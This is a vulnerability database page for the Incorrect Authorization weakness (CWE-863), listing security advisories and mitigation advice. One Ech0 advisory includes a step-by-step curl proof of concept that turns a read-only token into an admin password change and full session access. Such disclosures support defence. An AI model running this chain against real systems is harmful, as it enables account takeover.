CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
5537 vulnerabilities reference this CWE, most recent first.
GHSA-HJJC-3CQF-H5FG
Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2022-05-24 16:54The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check.
{
"affected": [],
"aliases": [
"CVE-2019-8446"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-23T14:15:00Z",
"severity": "MODERATE"
},
"details": "The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check.",
"id": "GHSA-hjjc-3cqf-h5fg",
"modified": "2022-05-24T16:54:43Z",
"published": "2022-05-24T16:54:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8446"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/JRASERVER-69777"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0839"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HJJQ-JC6W-MQF5
Vulnerability from github – Published: 2022-12-21 00:30 – Updated: 2022-12-21 00:30In registerReceivers of DeviceCapabilityListener.java, there is a possible way to change preferred TTY mode due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-13Android ID: A-236264289
{
"affected": [],
"aliases": [
"CVE-2022-20558"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-16T16:15:00Z",
"severity": "LOW"
},
"details": "In registerReceivers of DeviceCapabilityListener.java, there is a possible way to change preferred TTY mode due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-13Android ID: A-236264289",
"id": "GHSA-hjjq-jc6w-mqf5",
"modified": "2022-12-21T00:30:29Z",
"published": "2022-12-21T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20558"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2022-12-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HJQC-WRMR-HQ47
Vulnerability from github – Published: 2022-05-13 01:47 – Updated: 2022-05-13 01:47FusionSphere OpenStack V100R006C00 has an improper authorization vulnerability. Due to improper authorization, an attacker with low privilege may exploit this vulnerability to obtain the operation authority of some specific directory, causing privilege escalation.
{
"affected": [],
"aliases": [
"CVE-2017-8192"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-22T19:29:00Z",
"severity": "HIGH"
},
"details": "FusionSphere OpenStack V100R006C00 has an improper authorization vulnerability. Due to improper authorization, an attacker with low privilege may exploit this vulnerability to obtain the operation authority of some specific directory, causing privilege escalation.",
"id": "GHSA-hjqc-wrmr-hq47",
"modified": "2022-05-13T01:47:21Z",
"published": "2022-05-13T01:47:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8192"
},
{
"type": "WEB",
"url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20171025-01-fustionsphere-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HJQH-MFGJ-VJQF
Vulnerability from github – Published: 2026-02-05 21:32 – Updated: 2026-02-05 21:32Tanium addressed an improper input validation vulnerability in Tanium Appliance.
{
"affected": [],
"aliases": [
"CVE-2025-15321"
],
"database_specific": {
"cwe_ids": [
"CWE-426",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-05T19:15:52Z",
"severity": "LOW"
},
"details": "Tanium addressed an improper input validation vulnerability in Tanium Appliance.",
"id": "GHSA-hjqh-mfgj-vjqf",
"modified": "2026-02-05T21:32:41Z",
"published": "2026-02-05T21:32:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15321"
},
{
"type": "WEB",
"url": "https://security.tanium.com/TAN-2025-024"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HJVP-QHM6-WRH2
Vulnerability from github – Published: 2026-03-02 22:40 – Updated: 2026-03-30 13:39Summary
In approval-enabled host=node workflows, system.run approvals did not always carry a strict, versioned execution-context binding. In uncommon setups that rely on these approvals as an integrity guardrail, a previously approved request could be reused with changed env input.
Affected Packages / Versions
- Package: npm
openclaw - Latest published npm version at triage:
2026.2.25 - Affected range:
<= 2026.2.25 - Planned fixed version (next npm release):
2026.2.26
Preconditions / Typical Exposure
This requires all of the following:
- system.run usage through host=node
- Exec approvals enabled and used as an execution-integrity control
- Access to an approval id in the same context
Most default single-operator local setups do not rely on this path, so practical exposure is typically lower.
Details
Approval matching now uses a required versioned binding (systemRunBindingV1) over command argv, cwd, agent/session context, and env hash.
The fix:
- Requires commandArgv when requesting host=node approvals.
- Requires systemRunBindingV1 when consuming approvals for node system.run.
- Removes legacy non-versioned fallback matching and fails closed on missing/mismatched bindings.
- Keeps env mismatch handling explicit and blocks GIT_EXTERNAL_DIFF in host env policy.
- Adds/updates regression and contract coverage for mismatch mapping and binding rules.
Impact
Configuration-dependent approval-integrity weakness in node-host exec approval flows. Severity remains medium because exploitation depends on this specific approval mode and context.
Fix Commit(s)
10481097f8e6dd0346db9be0b5f27570e1bdfcfa
Release Process Note
patched_versions is pre-set to the planned next release (2026.2.26) so once npm release 2026.2.26 is published, the advisory can be published without further metadata edits.
OpenClaw thanks @tdjackey for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.26"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32058"
],
"database_specific": {
"cwe_ids": [
"CWE-15",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T22:40:15Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\nIn approval-enabled `host=node` workflows, `system.run` approvals did not always carry a strict, versioned execution-context binding. In uncommon setups that rely on these approvals as an integrity guardrail, a previously approved request could be reused with changed env input.\n\n### Affected Packages / Versions\n- Package: npm `openclaw`\n- Latest published npm version at triage: `2026.2.25`\n- Affected range: `\u003c= 2026.2.25`\n- Planned fixed version (next npm release): `2026.2.26`\n\n### Preconditions / Typical Exposure\nThis requires all of the following:\n- `system.run` usage through `host=node`\n- Exec approvals enabled and used as an execution-integrity control\n- Access to an approval id in the same context\n\nMost default single-operator local setups do not rely on this path, so practical exposure is typically lower.\n\n### Details\nApproval matching now uses a required versioned binding (`systemRunBindingV1`) over command argv, cwd, agent/session context, and env hash.\n\nThe fix:\n- Requires `commandArgv` when requesting `host=node` approvals.\n- Requires `systemRunBindingV1` when consuming approvals for node `system.run`.\n- Removes legacy non-versioned fallback matching and fails closed on missing/mismatched bindings.\n- Keeps env mismatch handling explicit and blocks `GIT_EXTERNAL_DIFF` in host env policy.\n- Adds/updates regression and contract coverage for mismatch mapping and binding rules.\n\n### Impact\nConfiguration-dependent approval-integrity weakness in node-host exec approval flows. Severity remains `medium` because exploitation depends on this specific approval mode and context.\n\n### Fix Commit(s)\n- `10481097f8e6dd0346db9be0b5f27570e1bdfcfa`\n\n### Release Process Note\n`patched_versions` is pre-set to the planned next release (`2026.2.26`) so once npm release `2026.2.26` is published, the advisory can be published without further metadata edits.\n\nOpenClaw thanks @tdjackey for reporting.",
"id": "GHSA-hjvp-qhm6-wrh2",
"modified": "2026-03-30T13:39:35Z",
"published": "2026-03-02T22:40:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-hjvp-qhm6-wrh2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32058"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/10481097f8e6dd0346db9be0b5f27570e1bdfcfa"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-approval-context-binding-weakness-in-system-run-via-host-node"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw Node system.run approval context-binding weakness in approval-enabled host=node flows"
}
GHSA-HJX6-96HG-JF7X
Vulnerability from github – Published: 2022-08-06 00:00 – Updated: 2022-08-12 00:01An improper access control check in GitLab CE/EE affecting all versions starting from 13.7 before 15.0.5, all versions starting from 15.1 before 15.1.4, all versions starting from 15.2 before 15.2.1 allows a malicious authenticated user to view a public project's Deploy Key's public fingerprint and name when that key has write permission. Note that GitLab never asks for nor stores the private key.
{
"affected": [],
"aliases": [
"CVE-2022-2095"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-05T16:15:00Z",
"severity": "MODERATE"
},
"details": "An improper access control check in GitLab CE/EE affecting all versions starting from 13.7 before 15.0.5, all versions starting from 15.1 before 15.1.4, all versions starting from 15.2 before 15.2.1 allows a malicious authenticated user to view a public project\u0027s Deploy Key\u0027s public fingerprint and name when that key has write permission. Note that GitLab never asks for nor stores the private key.",
"id": "GHSA-hjx6-96hg-jf7x",
"modified": "2022-08-12T00:01:24Z",
"published": "2022-08-06T00:00:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2095"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1600325"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-2095.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/365415"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HJXQ-5796-F748
Vulnerability from github – Published: 2024-10-30 15:30 – Updated: 2026-04-01 18:32Incorrect Authorization vulnerability in Wpsoul Greenshift – animation and page builder blocks allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Greenshift – animation and page builder blocks: from n/a through 9.7.
{
"affected": [],
"aliases": [
"CVE-2024-50419"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-30T15:15:19Z",
"severity": "MODERATE"
},
"details": "Incorrect Authorization vulnerability in Wpsoul Greenshift \u2013 animation and page builder blocks allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Greenshift \u2013 animation and page builder blocks: from n/a through 9.7.",
"id": "GHSA-hjxq-5796-f748",
"modified": "2026-04-01T18:32:15Z",
"published": "2024-10-30T15:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50419"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/greenshift-animation-and-page-builder-blocks/vulnerability/wordpress-greenshift-animation-and-page-builder-blocks-plugin-9-7-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/greenshift-animation-and-page-builder-blocks/wordpress-greenshift-animation-and-page-builder-blocks-plugin-9-7-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HM24-6W8P-GGGP
Vulnerability from github – Published: 2025-11-27 15:31 – Updated: 2025-11-27 15:31The Folders – Unlimited Folders to Organize Media Library Folder, Pages, Posts, File Manager plugin for WordPress is vulnerable to unauthorized modification of data due to a misconfigured capability check on the 'wcp_change_post_folder' function in all versions up to, and including, 3.1.5. This makes it possible for authenticated attackers, with Contributor-level access and above, to move arbitrary folder contents to arbitrary folders.
{
"affected": [],
"aliases": [
"CVE-2025-12971"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-27T13:15:58Z",
"severity": "MODERATE"
},
"details": "The Folders \u2013 Unlimited Folders to Organize Media Library Folder, Pages, Posts, File Manager plugin for WordPress is vulnerable to unauthorized modification of data due to a misconfigured capability check on the \u0027wcp_change_post_folder\u0027 function in all versions up to, and including, 3.1.5. This makes it possible for authenticated attackers, with Contributor-level access and above, to move arbitrary folder contents to arbitrary folders.",
"id": "GHSA-hm24-6w8p-gggp",
"modified": "2025-11-27T15:31:25Z",
"published": "2025-11-27T15:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12971"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/folders/trunk/includes/folders.class.php#L3291"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3402986"
},
{
"type": "WEB",
"url": "https://research.cleantalk.org/cve-2025-12971"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f3845071-8419-4bb2-b22d-f9ae22fb7d6a?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HM2H-WWWH-G49X
Vulnerability from github – Published: 2026-04-10 19:49 – Updated: 2026-04-10 19:49Summary
The PUT /user endpoint is protected by RequireScopes("profile:read"), which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin's restricted profile:read access token can change the admin's password, then login to receive an unrestricted session token that bypasses all scope enforcement.
Details
The scope enforcement system defines granular scopes (e.g., echo:read, echo:write, admin:user) but has no profile:write scope. The PUT /user route is protected only by profile:read:
// internal/router/user.go:40-44
appRouterGroup.AuthRouterGroup.PUT(
"/user",
middleware.RequireScopes(authModel.ScopeProfileRead),
h.UserHandler.UpdateUser(),
)
The RequireScopes middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes:
// internal/middleware/scope.go:14-19
func RequireScopes(scopes ...string) gin.HandlerFunc {
return func(ctx *gin.Context) {
v := viewer.MustFromContext(ctx.Request.Context())
if v.TokenType() == authModel.TokenTypeSession {
ctx.Next()
return
}
// ... checks access token has required scopes (line 53)
The UpdateUser service checks user.IsAdmin but does not verify the token's scope is sufficient for write operations:
// internal/service/user/user.go:271-300
func (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error {
userid := viewer.MustFromContext(ctx).UserID()
user, err := userService.userRepository.GetUserByID(ctx, userid)
// ...
if !user.IsAdmin {
return errors.New(commonModel.NO_PERMISSION_DENIED)
}
// ...
if userdto.Password != "" && cryptoUtil.MD5Encrypt(userdto.Password) != user.Password {
user.Password = cryptoUtil.MD5Encrypt(userdto.Password) // line 299
}
After the password is changed, the attacker logs in via POST /login which calls issueUserToken → CreateClaims, producing a session token with Type: "session" (jwt.go:33). Session tokens bypass RequireScopes entirely, granting unrestricted API access.
Escalation chain: profile:read access token → password change → login → unrestricted session token (bypasses all scope checks) → full admin access including admin:settings, admin:user, admin:token, file:write, etc.
PoC
# Prerequisites: Admin has created a profile:read access token for a read-only integration
# The attacker has obtained this token (e.g., from compromised integration, log leak, etc.)
ACCESS_TOKEN="<admin_profile_read_access_token>"
SERVER="http://localhost:8080"
# Step 1: Verify the token only has profile:read scope (can read profile)
curl -s -X GET "$SERVER/api/user" \
-H "Authorization: Bearer $ACCESS_TOKEN"
# Expected: 200 OK with user profile data
# Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works)
curl -s -X GET "$SERVER/api/allusers" \
-H "Authorization: Bearer $ACCESS_TOKEN"
# Expected: 403 Forbidden (requires admin:user scope)
# Step 3: Change the admin's password using the profile:read token
curl -s -X PUT "$SERVER/api/user" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{"password":"attackerpass123"}'
# Expected: 200 OK — password changed despite only having profile:read scope
# Step 4: Login with the new password to get an unrestricted session token
curl -s -X POST "$SERVER/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"attackerpass123"}'
# Expected: 200 OK with session JWT token
# Step 5: Use the session token to access admin-only endpoints
SESSION_TOKEN="<session_token_from_step_4>"
curl -s -X GET "$SERVER/api/allusers" \
-H "Authorization: Bearer $SESSION_TOKEN"
# Expected: 200 OK — full admin access, all scope restrictions bypassed
Impact
An attacker who obtains an admin's profile:read access token — intended to be the most restrictive scope available — can:
- Change the admin's password without any write-level scope, violating the principle of least privilege
- Escalate to a full unrestricted session token by logging in with the new credentials
- Gain complete admin access including user management (
admin:user), system settings (admin:settings), token management (admin:token), file operations (file:write), and all content operations - Lock the original admin out of password-based authentication (though OAuth/passkey login remains available)
This defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover.
Recommended Fix
Add a profile:write scope and require it for the PUT /user endpoint:
// internal/model/auth/scope.go — add new scope
const (
// ... existing scopes ...
ScopeProfileRead = "profile:read"
ScopeProfileWrite = "profile:write" // NEW
)
var validScopes = map[string]struct{}{
// ... existing entries ...
ScopeProfileWrite: {}, // NEW
}
// internal/router/user.go:40-44 — require profile:write for PUT
appRouterGroup.AuthRouterGroup.PUT(
"/user",
middleware.RequireScopes(authModel.ScopeProfileWrite), // Changed from ScopeProfileRead
h.UserHandler.UpdateUser(),
)
Similarly, update other write operations currently gated behind profile:read:
- POST /oauth/:provider/bind → require profile:write
- POST /passkey/register/begin and /finish → require profile:write
- DELETE /passkeys/:id → require profile:write
- PUT /passkeys/:id → require profile:write
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lin-snow/ech0"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:49:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `PUT /user` endpoint is protected by `RequireScopes(\"profile:read\")`, which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin\u0027s restricted `profile:read` access token can change the admin\u0027s password, then login to receive an unrestricted session token that bypasses all scope enforcement.\n\n## Details\n\nThe scope enforcement system defines granular scopes (e.g., `echo:read`, `echo:write`, `admin:user`) but has no `profile:write` scope. The `PUT /user` route is protected only by `profile:read`:\n\n```go\n// internal/router/user.go:40-44\nappRouterGroup.AuthRouterGroup.PUT(\n \"/user\",\n middleware.RequireScopes(authModel.ScopeProfileRead),\n h.UserHandler.UpdateUser(),\n)\n```\n\nThe `RequireScopes` middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes:\n\n```go\n// internal/middleware/scope.go:14-19\nfunc RequireScopes(scopes ...string) gin.HandlerFunc {\n return func(ctx *gin.Context) {\n v := viewer.MustFromContext(ctx.Request.Context())\n if v.TokenType() == authModel.TokenTypeSession {\n ctx.Next()\n return\n }\n // ... checks access token has required scopes (line 53)\n```\n\nThe `UpdateUser` service checks `user.IsAdmin` but does not verify the token\u0027s scope is sufficient for write operations:\n\n```go\n// internal/service/user/user.go:271-300\nfunc (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error {\n userid := viewer.MustFromContext(ctx).UserID()\n user, err := userService.userRepository.GetUserByID(ctx, userid)\n // ...\n if !user.IsAdmin {\n return errors.New(commonModel.NO_PERMISSION_DENIED)\n }\n // ...\n if userdto.Password != \"\" \u0026\u0026 cryptoUtil.MD5Encrypt(userdto.Password) != user.Password {\n user.Password = cryptoUtil.MD5Encrypt(userdto.Password) // line 299\n }\n```\n\nAfter the password is changed, the attacker logs in via `POST /login` which calls `issueUserToken` \u2192 `CreateClaims`, producing a session token with `Type: \"session\"` (jwt.go:33). Session tokens bypass `RequireScopes` entirely, granting unrestricted API access.\n\n**Escalation chain:** `profile:read` access token \u2192 password change \u2192 login \u2192 unrestricted session token (bypasses all scope checks) \u2192 full admin access including `admin:settings`, `admin:user`, `admin:token`, `file:write`, etc.\n\n## PoC\n\n```bash\n# Prerequisites: Admin has created a profile:read access token for a read-only integration\n# The attacker has obtained this token (e.g., from compromised integration, log leak, etc.)\n\nACCESS_TOKEN=\"\u003cadmin_profile_read_access_token\u003e\"\nSERVER=\"http://localhost:8080\"\n\n# Step 1: Verify the token only has profile:read scope (can read profile)\ncurl -s -X GET \"$SERVER/api/user\" \\\n -H \"Authorization: Bearer $ACCESS_TOKEN\"\n# Expected: 200 OK with user profile data\n\n# Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works)\ncurl -s -X GET \"$SERVER/api/allusers\" \\\n -H \"Authorization: Bearer $ACCESS_TOKEN\"\n# Expected: 403 Forbidden (requires admin:user scope)\n\n# Step 3: Change the admin\u0027s password using the profile:read token\ncurl -s -X PUT \"$SERVER/api/user\" \\\n -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"password\":\"attackerpass123\"}\u0027\n# Expected: 200 OK \u2014 password changed despite only having profile:read scope\n\n# Step 4: Login with the new password to get an unrestricted session token\ncurl -s -X POST \"$SERVER/api/login\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"admin\",\"password\":\"attackerpass123\"}\u0027\n# Expected: 200 OK with session JWT token\n\n# Step 5: Use the session token to access admin-only endpoints\nSESSION_TOKEN=\"\u003csession_token_from_step_4\u003e\"\ncurl -s -X GET \"$SERVER/api/allusers\" \\\n -H \"Authorization: Bearer $SESSION_TOKEN\"\n# Expected: 200 OK \u2014 full admin access, all scope restrictions bypassed\n```\n\n## Impact\n\nAn attacker who obtains an admin\u0027s `profile:read` access token \u2014 intended to be the most restrictive scope available \u2014 can:\n\n1. **Change the admin\u0027s password** without any write-level scope, violating the principle of least privilege\n2. **Escalate to a full unrestricted session token** by logging in with the new credentials\n3. **Gain complete admin access** including user management (`admin:user`), system settings (`admin:settings`), token management (`admin:token`), file operations (`file:write`), and all content operations\n4. **Lock the original admin out** of password-based authentication (though OAuth/passkey login remains available)\n\nThis defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover.\n\n## Recommended Fix\n\nAdd a `profile:write` scope and require it for the `PUT /user` endpoint:\n\n```go\n// internal/model/auth/scope.go \u2014 add new scope\nconst (\n // ... existing scopes ...\n ScopeProfileRead = \"profile:read\"\n ScopeProfileWrite = \"profile:write\" // NEW\n)\n\nvar validScopes = map[string]struct{}{\n // ... existing entries ...\n ScopeProfileWrite: {}, // NEW\n}\n```\n\n```go\n// internal/router/user.go:40-44 \u2014 require profile:write for PUT\nappRouterGroup.AuthRouterGroup.PUT(\n \"/user\",\n middleware.RequireScopes(authModel.ScopeProfileWrite), // Changed from ScopeProfileRead\n h.UserHandler.UpdateUser(),\n)\n```\n\nSimilarly, update other write operations currently gated behind `profile:read`:\n- `POST /oauth/:provider/bind` \u2192 require `profile:write`\n- `POST /passkey/register/begin` and `/finish` \u2192 require `profile:write`\n- `DELETE /passkeys/:id` \u2192 require `profile:write`\n- `PUT /passkeys/:id` \u2192 require `profile:write`",
"id": "GHSA-hm2h-wwwh-g49x",
"modified": "2026-04-10T19:49:14Z",
"published": "2026-04-10T19:49:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-hm2h-wwwh-g49x"
},
{
"type": "PACKAGE",
"url": "https://github.com/lin-snow/Ech0"
},
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/releases/tag/v4.4.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session"
}
GHSA-HM32-9QCF-V83Q
Vulnerability from github – Published: 2022-05-24 17:25 – Updated: 2022-07-02 00:00Improper Authorization vulnerability in McAfee Data Loss Prevention (DLP) ePO extension prior to 11.5.3 allows authenticated remote attackers to change the configuration when logged in with view only privileges via carefully constructed HTTP post messages.
{
"affected": [],
"aliases": [
"CVE-2020-7300"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-08-12T22:15:00Z",
"severity": "MODERATE"
},
"details": "Improper Authorization vulnerability in McAfee Data Loss Prevention (DLP) ePO extension prior to 11.5.3 allows authenticated remote attackers to change the configuration when logged in with view only privileges via carefully constructed HTTP post messages.",
"id": "GHSA-hm32-9qcf-v83q",
"modified": "2022-07-02T00:00:22Z",
"published": "2022-05-24T17:25:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7300"
},
{
"type": "WEB",
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10326"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.